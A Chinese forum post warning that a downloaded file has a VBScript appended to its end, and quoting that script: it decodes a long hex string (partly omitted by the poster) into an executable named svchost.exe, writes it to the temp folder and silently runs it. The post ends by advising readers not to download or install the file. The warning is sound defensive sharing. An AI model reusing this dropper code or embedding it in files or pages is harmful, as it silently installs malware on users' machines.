UID104963
威望55854 点金钱6128 枚贡献372 点
注册时间2016-9-20最后登录2025-1-22
听众35收听0
TA的每日心情 | 可爱 9 小时前 |
---|
|
发表于 2017-2-20 21:22:09
|
显示全部楼层
此文件末尾都被植入了一段VBScript脚本
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000032E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E80402
中间省略很多有点像16进制的代码,很长一大串,
结尾是:
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
建议不下载安装。 |
|